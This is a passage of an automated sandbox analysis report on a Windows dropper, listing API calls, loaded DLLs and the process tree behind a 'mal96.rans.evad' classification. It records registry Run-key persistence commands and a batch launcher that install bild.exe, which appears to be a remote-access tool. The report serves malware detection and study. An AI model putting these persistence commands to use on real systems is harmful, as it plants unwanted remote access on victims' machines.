Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_111158B0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		5_2_111158B0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_111158B0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		6_2_111158B0

Source: C:\Users\Public\Netstat\bild.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Code function: 0_2_00D77070: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00D77070

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_1115DB40 FindWindowA,_memset,CreateProcessAsUserA,GetLastError,WinExec,CloseHandle,CloseHandle,CloseHandle,WinExec,

5_2_1115DB40

Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		5_2_1102D330
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		6_2_1102D330

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D85984	0_2_00D85984
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D78409	0_2_00D78409
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D9E8D4	0_2_00D9E8D4
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D830E6	0_2_00D830E6
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D7E045	0_2_00D7E045
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D7D1D2	0_2_00D7D1D2
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8E94A	0_2_00D8E94A
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8FAC8	0_2_00D8FAC8
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8F25E	0_2_00D8F25E
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D7BA1A	0_2_00D7BA1A
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D73203	0_2_00D73203
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D863F2	0_2_00D863F2
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D7DBE2	0_2_00D7DBE2
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D9A35E	0_2_00D9A35E
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D92B78	0_2_00D92B78
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D82B3A	0_2_00D82B3A
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D7EC97	0_2_00D7EC97
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D7D5E4	0_2_00D7D5E4
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D85DB9	0_2_00D85DB9
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D82DB5	0_2_00D82DB5
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D75E96	0_2_00D75E96
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8F693	0_2_00D8F693
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D99EB0	0_2_00D99EB0
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D8EE46	0_2_00D8EE46
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D73FC5	0_2_00D73FC5
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D84FB5	0_2_00D84FB5
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: 0_2_00D7276C	0_2_00D7276C
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110733B0	5_2_110733B0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11029590	5_2_11029590
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11061C90	5_2_11061C90
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11033010	5_2_11033010
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11163220	5_2_11163220
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11167485	5_2_11167485
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110454F0	5_2_110454F0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1101B760	5_2_1101B760
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_111258B0	5_2_111258B0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1101BBA0	5_2_1101BBA0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11087C60	5_2_11087C60
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11070090	5_2_11070090
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11080480	5_2_11080480
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1115E980	5_2_1115E980
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1101C9C0	5_2_1101C9C0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_110088AB	5_2_110088AB
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11050D80	5_2_11050D80
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5DA980	5_2_6C5DA980
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C603DB8	5_2_6C603DB8
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C603923	5_2_6C603923
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C604910	5_2_6C604910
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5DDBA0	5_2_6C5DDBA0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5E84F0	5_2_6C5E84F0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C604528	5_2_6C604528
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5D1760	5_2_6C5D1760
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C60A063	5_2_6C60A063
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C604156	5_2_6C604156
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_6C5D1310	5_2_6C5D1310
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11061C90	6_2_11061C90
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11033010	6_2_11033010
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110733B0	6_2_110733B0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11163220	6_2_11163220
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11029590	6_2_11029590
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11167485	6_2_11167485
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110454F0	6_2_110454F0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1101B760	6_2_1101B760
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_111258B0	6_2_111258B0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1101BBA0	6_2_1101BBA0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11087C60	6_2_11087C60
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11070090	6_2_11070090
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11080480	6_2_11080480
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1115E980	6_2_1115E980
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1101C9C0	6_2_1101C9C0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_110088AB	6_2_110088AB
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11050D80	6_2_11050D80

Source: C:\Users\Public\Netstat\bild.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: String function: 00D8CEC0 appears 52 times
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: String function: 00D8D870 appears 31 times
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Code function: String function: 00D8CDF0 appears 37 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 110B7A20 appears 43 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 11146450 appears 1191 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 1109D8C0 appears 32 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 6C5E7C70 appears 36 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 11146EC0 appears 48 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 110278E0 appears 94 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 6C5F9480 appears 57 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 1116F010 appears 74 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 11029450 appears 1989 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 6C5E7A90 appears 58 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 6C5FF3CB appears 33 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 111603E3 appears 82 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 11173663 appears 40 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 1105DD10 appears 581 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 6C5D30A0 appears 54 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 6C5E7D00 appears 127 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 11081BB0 appears 81 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 1105DE40 appears 54 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 6C5D6F50 appears 168 times
Source: C:\Users\Public\Netstat\bild.exe	Code function: String function: 11164010 appears 64 times

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000548C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepcicl32.dll2 vs d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenametcctl32.dll2 vs d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"

Source: classification engine

Classification label: mal96.rans.evad.winEXE@14/12@1/2

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_11059C50 GetLastError,FormatMessageA,LocalFree,

5_2_11059C50

Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1109D440 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	5_2_1109D440
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1109D4D0 AdjustTokenPrivileges,CloseHandle,	5_2_1109D4D0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1109D440 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	6_2_1109D440
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1109D4D0 AdjustTokenPrivileges,CloseHandle,	6_2_1109D4D0

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_11115B70 CoInitialize,CoCreateInstance,LoadLibraryA,GetProcAddress,SHGetSettings,FreeLibrary,CoUninitialize,

5_2_11115B70

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Code function: 0_2_00D88BD0 FindResourceW,DeleteObject,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00D88BD0

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_11127E10 GetMessageA,Sleep,OpenSCManagerA,DispatchMessageA,OpenServiceA,CloseServiceHandle,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,

5_2_11127E10

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

File created: C:\Users\Public\Netstat

Jump to behavior

Source: C:\Users\Public\Netstat\bild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Command line argument: sfxname	0_2_00D8C131
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Command line argument: sfxstime	0_2_00D8C131
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Command line argument: STARTDLG	0_2_00D8C131

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

File read: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe "C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe"
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\Netstat\bild.exe C:\Users\Public\Netstat\bild.exe
Source: unknown	Process created: C:\Users\Public\Netstat\bild.exe "C:\Users\Public\Netstat\bild.exe"
Source: unknown	Process created: C:\Users\Public\Netstat\bild.exe "C:\Users\Public\Netstat\bild.exe"
Source: unknown	Process created: C:\Users\Public\Netstat\bild.exe "C:\Users\Public\Netstat\bild.exe"
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\Netstat\bild.exe C:\Users\Public\Netstat\bild.exe	Jump to behavior

Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\Public\Netstat\bild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
